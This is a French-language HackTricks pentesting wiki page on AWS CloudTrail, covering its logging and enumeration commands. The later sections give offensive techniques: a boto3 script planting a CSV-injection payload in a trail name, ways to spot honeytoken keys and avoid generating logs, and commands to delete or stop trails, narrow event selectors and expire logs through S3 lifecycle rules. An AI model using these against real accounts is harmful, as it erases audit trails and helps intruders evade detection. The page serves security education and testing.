# AWS - CloudTrail Enum

{{#include ../../../../banners/hacktricks-training.md}}

## **CloudTrail**

AWS CloudTrail **enregistre et surveille l'activité au sein de votre environnement AWS**. Il capture des **journaux d'événements** détaillés, y compris qui a fait quoi, quand et d'où, pour toutes les interactions avec les ressources AWS. Cela fournit une piste d'audit des changements et des actions, aidant à l'analyse de sécurité, à l'audit de conformité et au suivi des changements de ressources. CloudTrail est essentiel pour comprendre le comportement des utilisateurs et des ressources, améliorer les postures de sécurité et garantir la conformité réglementaire.

Chaque événement enregistré contient :

- Le nom de l'API appelée : `eventName`
- Le service appelé : `eventSource`
- L'heure : `eventTime`
- L'adresse IP : `SourceIPAddress`
- La méthode de l'agent : `userAgent`. Exemples :
- Signing.amazonaws.com - Depuis la console de gestion AWS
- console.amazonaws.com - Utilisateur root du compte
- lambda.amazonaws.com - AWS Lambda
- Les paramètres de la requête : `requestParameters`
- Les éléments de la réponse : `responseElements`

Les événements sont écrits dans un nouveau fichier journal **environ toutes les 5 minutes dans un fichier JSON**, ils sont conservés par CloudTrail et enfin, les fichiers journaux sont **livrés à S3 environ 15 minutes après**.\
Les journaux de CloudTrail peuvent être **agrégés à travers les comptes et les régions.**\
CloudTrail permet d'utiliser **l'intégrité des fichiers journaux afin de pouvoir vérifier que vos fichiers journaux sont restés inchangés** depuis que CloudTrail vous les a livrés. Il crée un hachage SHA-256 des journaux à l'intérieur d'un fichier de résumé. Un hachage sha-256 des nouveaux journaux est créé chaque heure.\
Lors de la création d'un Trail, les sélecteurs d'événements vous permettront d'indiquer le type d'événements à enregistrer : événements de gestion, de données ou d'informations.

Les journaux sont sauvegardés dans un bucket S3. Par défaut, le chiffrement côté serveur est utilisé (SSE-S3) donc AWS déchiffrera le contenu pour les personnes qui y ont accès, mais pour une sécurité supplémentaire, vous pouvez utiliser SSE avec KMS et vos propres clés.

Les journaux sont stockés dans un **bucket S3 avec ce format de nom** :

- **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`**
- Le BucketName étant : **`aws-cloudtrail-logs-<accountid>-<random>`**
- Exemple : **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`**

À l'intérieur de chaque dossier, chaque journal aura un **nom suivant ce format** : **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`**

Convention de nommage des fichiers journaux

![](<../../../../images/image (122).png>)

De plus, **les fichiers de résumé (pour vérifier l'intégrité des fichiers)** seront à l'intérieur du **même bucket** dans :

![](<../../../../images/image (195).png>)

### Agréger les journaux de plusieurs comptes

- Créez un Trail dans le compte AWS où vous souhaitez que les fichiers journaux soient livrés
- Appliquez des autorisations au bucket S3 de destination permettant l'accès inter-comptes pour CloudTrail et autorisez chaque compte AWS qui a besoin d'accès
- Créez un nouveau Trail dans les autres comptes AWS et sélectionnez d'utiliser le bucket créé à l'étape 1

Cependant, même si vous pouvez sauvegarder tous les journaux dans le même bucket S3, vous ne pouvez pas agréger les journaux CloudTrail de plusieurs comptes dans des journaux CloudWatch appartenant à un seul compte AWS.

> [!CAUTION]
> N'oubliez pas qu'un compte peut avoir **différents Trails** de CloudTrail **activés** stockant les mêmes (ou différents) journaux dans différents buckets.

### CloudTrail de tous les comptes d'organisation en 1

Lors de la création d'un CloudTrail, il est possible d'indiquer d'activer CloudTrail pour tous les comptes de l'organisation et de récupérer les journaux dans un seul bucket :

<figure><img src="../../../../images/image (200).png" alt=""><figcaption></figcaption></figure>

De cette manière, vous pouvez facilement configurer CloudTrail dans toutes les régions de tous les comptes et centraliser les journaux dans 1 compte (que vous devez protéger).

### Vérification des fichiers journaux

Vous pouvez vérifier que les journaux n'ont pas été altérés en exécutant
```javascript
aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]
```
### Logs to CloudWatch

**CloudTrail peut automatiquement envoyer des journaux à CloudWatch afin que vous puissiez définir des alertes qui vous avertissent lorsque des activités suspectes sont effectuées.**\
Notez que pour permettre à CloudTrail d'envoyer les journaux à CloudWatch, un **rôle** doit être créé pour autoriser cette action. Si possible, il est recommandé d'utiliser le rôle par défaut d'AWS pour effectuer ces actions. Ce rôle permettra à CloudTrail de :

- CreateLogStream : Cela permet de créer des flux de journaux CloudWatch Logs
- PutLogEvents : Livrer les journaux CloudTrail au flux de journaux CloudWatch Logs

### Event History

L'historique des événements CloudTrail vous permet d'inspecter dans un tableau les journaux qui ont été enregistrés :

![](<../../../../images/image (89).png>)

### Insights

**CloudTrail Insights** analyse automatiquement les événements de gestion d'écriture des pistes CloudTrail et vous **alerte** sur des **activités inhabituelles**. Par exemple, s'il y a une augmentation des événements `TerminateInstance` qui diffère des bases établies, vous le verrez comme un événement Insight. Ces événements facilitent **la recherche et la réponse à des activités API inhabituelles** comme jamais auparavant.

Les insights sont stockés dans le même bucket que les journaux CloudTrail dans : `BucketName/AWSLogs/AccountID/CloudTrail-Insight`

### Security
| Control Name	                       |  Implementation Details                                                                                                                                                                                                                                                                                                                                     |
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| CloudTrail Log File Integrity        | <ul><li>Valider si les journaux ont été altérés (modifiés ou supprimés)</li><li><p>Utilise des fichiers de résumé (crée un hachage pour chaque fichier)</p><ul><li>Hachage SHA-256</li><li>SHA-256 avec RSA pour la signature numérique</li><li>clé privée détenue par Amazon</li></ul></li><li>Prend 1 heure pour créer un fichier de résumé (fait à l'heure chaque heure)</li></ul> |
| Stop unauthorized access             | <ul><li><p>Utiliser des politiques IAM et des politiques de bucket S3</p><ul><li>équipe de sécurité —> accès administrateur</li><li>auditeurs —> accès en lecture seule</li></ul></li><li>Utiliser SSE-S3/SSE-KMS pour chiffrer les journaux</li></ul>                                                                                                                                        |
| Prevent log files from being deleted | <ul><li>Restreindre l'accès à la suppression avec IAM et les politiques de bucket</li><li>Configurer la suppression MFA S3</li><li>Valider avec la validation des fichiers journaux</li></ul>                                                                                                                                                                                            |

## Access Advisor

AWS Access Advisor s'appuie sur les 400 derniers jours de journaux **CloudTrail AWS pour rassembler ses insights**. CloudTrail capture un historique des appels API AWS et des événements connexes effectués dans un compte AWS. Access Advisor utilise ces données pour **montrer quand les services ont été accédés pour la dernière fois**. En analysant les journaux CloudTrail, Access Advisor peut déterminer quels services AWS un utilisateur ou un rôle IAM a accédés et quand cet accès a eu lieu. Cela aide les administrateurs AWS à prendre des décisions éclairées sur **l'affinement des autorisations**, car ils peuvent identifier les services qui n'ont pas été accédés pendant de longues périodes et potentiellement réduire des autorisations trop larges en fonction des modèles d'utilisation réels.

> [!TIP]
> Par conséquent, Access Advisor informe sur **les autorisations inutiles accordées aux utilisateurs** afin que l'administrateur puisse les supprimer

<figure><img src="../../../../images/image (78).png" alt=""><figcaption></figcaption></figure>

## Actions

### Enumeration
```bash
# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>
```
### **Injection CSV**

Il est possible d'effectuer une injection CSV dans CloudTrail qui exécutera du code arbitraire si les journaux sont exportés en CSV et ouverts avec Excel.\
Le code suivant générera une entrée de journal avec un mauvais nom de Trail contenant la charge utile :
```python
import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)
```
Pour plus d'informations sur les injections CSV, consultez la page :

{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript-injection.html
{{#endref}}

Pour plus d'informations sur cette technique spécifique, consultez [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/)

## **Contourner la Détection**

### Bypass des HoneyTokens

Les Honeytokens sont créés pour **détecter l'exfiltration d'informations sensibles**. Dans le cas d'AWS, ce sont des **clés AWS dont l'utilisation est surveillée** ; si quelque chose déclenche une action avec cette clé, alors quelqu'un doit avoir volé cette clé.

Cependant, les Honeytokens comme ceux créés par [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) utilisent soit un nom de compte reconnaissable, soit le même ID de compte AWS pour tous leurs clients. Par conséquent, si vous pouvez obtenir le nom du compte et/ou l'ID du compte sans faire créer de journal par Cloudtrail, **vous pourriez savoir si la clé est un honeytoken ou non**.

[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) a quelques règles pour détecter si une clé appartient à [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:**

- Si **`canarytokens.org`** apparaît dans le nom du rôle ou si l'ID de compte **`534261010715`** apparaît dans le message d'erreur.
- En les testant plus récemment, ils utilisent le compte **`717712589309`** et ont toujours la chaîne **`canarytokens.com`** dans le nom.
- Si **`SpaceCrab`** apparaît dans le nom du rôle dans le message d'erreur.
- **SpaceSiren** utilise des **uuids** pour générer des noms d'utilisateur : `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
- Si le **nom semble aléatoirement généré**, il y a de fortes probabilités que ce soit un HoneyToken.

#### Obtenir l'ID de compte à partir de l'ID de clé

Vous pouvez obtenir l'**ID de compte** à partir de l'**encodage** à l'intérieur de la **clé d'accès** comme [**expliqué ici**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) et vérifier l'ID de compte avec votre liste de comptes Honeytokens AWS :
```python
import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))
```
Vérifiez plus d'informations dans la [**recherche originale**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489).

#### Ne pas générer de journal

La technique la plus efficace pour cela est en fait une simple. Utilisez simplement la clé que vous venez de trouver pour accéder à un service dans votre propre compte d'attaquant. Cela fera en sorte que **CloudTrail génère un journal dans VOTRE PROPRE compte AWS et non dans celui des victimes**.

Le fait est que la sortie vous montrera une erreur indiquant l'ID du compte et le nom du compte, donc **vous pourrez voir si c'est un Honeytoken**.

#### Services AWS sans journaux

Dans le passé, il y avait certains **services AWS qui n'envoient pas de journaux à CloudTrail** (trouvez une [liste ici](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Certains de ces services **répondront** avec une **erreur** contenant l'**ARN du rôle clé** si quelqu'un non autorisé (la clé honeytoken) essaie d'y accéder.

De cette manière, un **attaquant peut obtenir l'ARN de la clé sans déclencher aucun journal**. Dans l'ARN, l'attaquant peut voir l'**ID du compte AWS et le nom**, il est facile de connaître l'ID et les noms des comptes des entreprises du HoneyToken, ainsi un attaquant peut identifier si le token est un HoneyToken.

![](<../../../../images/image (93).png>)

> [!CAUTION]
> Notez que toutes les API publiques découvertes ne créant pas de journaux CloudTrail sont maintenant corrigées, donc vous devrez peut-être trouver les vôtres...
>
> Pour plus d'informations, consultez la [**recherche originale**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/).

### Accéder à une infrastructure tierce

Certains services AWS **généreront une infrastructure** telle que des **bases de données** ou des **clusters Kubernetes** (EKS). Un utilisateur **parlant directement à ces services** (comme l'API Kubernetes) **n'utilisera pas l'API AWS**, donc CloudTrail ne pourra pas voir cette communication.

Par conséquent, un utilisateur ayant accès à EKS qui a découvert l'URL de l'API EKS pourrait générer un token localement et **parler directement au service API sans être détecté par CloudTrail**.

Plus d'infos dans :

{{#ref}}
../../aws-post-exploitation/aws-eks-post-exploitation.md
{{#endref}}

### Modification de la configuration de CloudTrail

#### Supprimer des pistes
```bash
aws cloudtrail delete-trail --name [trail-name]
```
#### Arrêter les pistes
```bash
aws cloudtrail stop-logging --name [trail-name]
```
#### Désactiver la journalisation multi-région
```bash
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
```
#### Désactiver la journalisation par sélecteurs d'événements
```bash
# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>
```
Dans le premier exemple, un seul sélecteur d'événements est fourni sous forme de tableau JSON avec un seul objet. Le `"ReadWriteType": "ReadOnly"` indique que le **sélecteur d'événements ne doit capturer que des événements en lecture seule** (donc les insights de CloudTrail **ne vérifieront pas les** événements d'écriture par exemple).

Vous pouvez personnaliser le sélecteur d'événements en fonction de vos exigences spécifiques.

#### Suppression des journaux via la politique de cycle de vie S3
```bash
aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>
```
### Modification de la configuration du bucket

- Supprimer le bucket S3
- Changer la politique du bucket pour interdire toute écriture du service CloudTrail
- Ajouter une politique de cycle de vie au bucket S3 pour supprimer des objets
- Désactiver la clé KMS utilisée pour chiffrer les journaux CloudTrail

### Ransomware Cloudtrail

#### Ransomware S3

Vous pourriez **générer une clé asymétrique** et faire en sorte que **CloudTrail chiffre les données** avec cette clé et **supprimer la clé privée** afin que le contenu de CloudTrail ne puisse pas être récupéré.\
C'est essentiellement un **ransomware S3-KMS** expliqué dans :

{{#ref}}
../../aws-post-exploitation/aws-s3-post-exploitation.md
{{#endref}}

**Ransomware KMS**

C'est la manière la plus simple d'effectuer l'attaque précédente avec des exigences de permissions différentes :

{{#ref}}
../../aws-post-exploitation/aws-kms-post-exploitation.md
{{#endref}}

## **Références**

- [https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory](https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory)

{{#include ../../../../banners/hacktricks-training.md}}
